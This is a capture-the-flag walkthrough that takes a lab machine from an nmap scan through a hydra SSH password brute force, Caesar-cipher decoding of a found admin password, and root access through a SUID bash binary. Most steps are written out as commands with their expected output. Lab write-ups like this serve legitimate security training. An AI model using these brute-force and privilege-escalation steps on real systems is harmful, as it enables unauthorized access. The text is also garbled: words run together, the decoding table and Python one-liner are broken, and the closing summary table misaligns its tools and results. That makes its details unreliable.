CTF Walkthrough

Difficulty: Medium Category: Privilege Escalation + Cryptography

Flag: CTF{c4es4r_c1ph3r_2_r00t_gg!}

Step 1 — Reconnaissance

Scanthetargettofindopenportsandrunning services.

Command:

```
nmap -sV -p 22 10.193.99.23
```

Expected Output:

```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.x
```

SSH is open on port 22. This is our entry point.

Step 2 — SSH Brute Force with Hydra

BruteforcetheSSHloginfor'ctfuser'usingKali'sbuilt-indirbuster wordlist.

Command:

```
hydra -l ctfuser -t 4 -P
/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
ssh://10.193.99.23
```

Expected Output:

```
[22][ssh] host: 10.193.99.23 login: ctfuser password: crack
```

The wordlist has 87,650 words. This may take a few minutes. The -t 4 flag uses 4 threads to speed things up.

Step 3 — Login via SSH

Use the cracked password to log in.

Command:

```
ssh ctfuser@10.193.99.23
Password: crack
```

Expected Output:

```
ctfuser@ctf:~$
```

You now have a low-privilege shell on the target.

Step 4 — Find the Hidden Note

Enumerate the home directory for interesting files.

Commands:

```
ls -la
cat note.txt
```

Expected Output:

```
Hey ctfuser,


I left the admin credentials encoded below for safety.
Use Caesar cipher with shift 3 to decode it.

Encoded password: V3fu3wN3b!
Username: admin

- sysadmin
```

The admin password is encoded with Caesar cipher shift 3. We need to decode it.

Step 5 — Decode the Caesar Cipher

Caesar cipher shiftseach letterby a fixednumber. Shift3 means each letter moves 3 positions forward in the alphabet. To decode, we shift back by 3.

Encoded	***V***	***3***	***f***	***u***	***3***	***w***	***N***	***3***	***b***	***!***
Shift -3	↓ ***S***		↓ ***c***	↓ ***r***		↓ ***t***	↓ ***K***		↓ ***y***	
Decoded		***3***			***3***			***3***		***!***

Decode using Python on Kali:

```
python3 -c " msg='V3fu3wN3b!' result='' for c in msg: if c.isalpha(): base =
ord('A') if c.isupper() else ord('a') result += chr((ord(c) - base - 3) % 26 +
base) else: result += c print(result)"
```

Output:

```
S3cr3tK3y!
```

The decoded admin password is: S3cr3tK3y!

Step 6 — Switch to Admin User

Usethedecodedpasswordtoswitchtotheadmin account.

Command:

```
su admin
Password: S3cr3tK3y!
```

Expected Output:

```
admin@ctf:/home/ctfuser$
```

Step 7 — Find SUID Binaries

SUIDbinariesrun astheirowner (root)regardless of who executes them. Search the entire system for these misconfigured files.

Command:

```
find / -perm -4000 2>/dev/null
```

Look for in the output:

```
/bin/rootbash
```

/bin/rootbash is a copy of bash owned by root with the SUID bit set — our target.

Step 8 — Exploit SUID Binary

Run/bin/rootbash with the -p flag.Thistellsbash to keep the root effective UID instead of dropping it, giving a full root shell.

Command:

```
/bin/rootbash -p
```

Expected Output:

```
rootbash-5.1#
```

Verify:

```
whoami
root


id
uid=0(root) gid=0(root) groups=0(root)
```

Step 9 — Capture the Flag

Read the flag from the root home directory.

Command:

```
cat /root/flag.txt
```

Flag:

```
CTF{c4es4r_c1ph3r_2_r00t_gg!}
```

Challenge Complete!

Attack Summary

#	Step	Tool	Result
1	Port Scan	hydra ssh cat	SSH port 22 open
2	Brute Force	python3 su	Password: crack
3	SSH Login	admin find	Shell as ctfuser
4	Find Note	/bin/rootbash -p	Encoded password found
5	Decode Caesar	cat	Password: S3cr3tK3y!
6	Switch User		Shell as admin
7	Find SUID		/bin/rootbash found
8	Exploit SUID		Root shell
9	Get Flag		CTF{c4es4r_c1ph3r_2_r00t_gg!}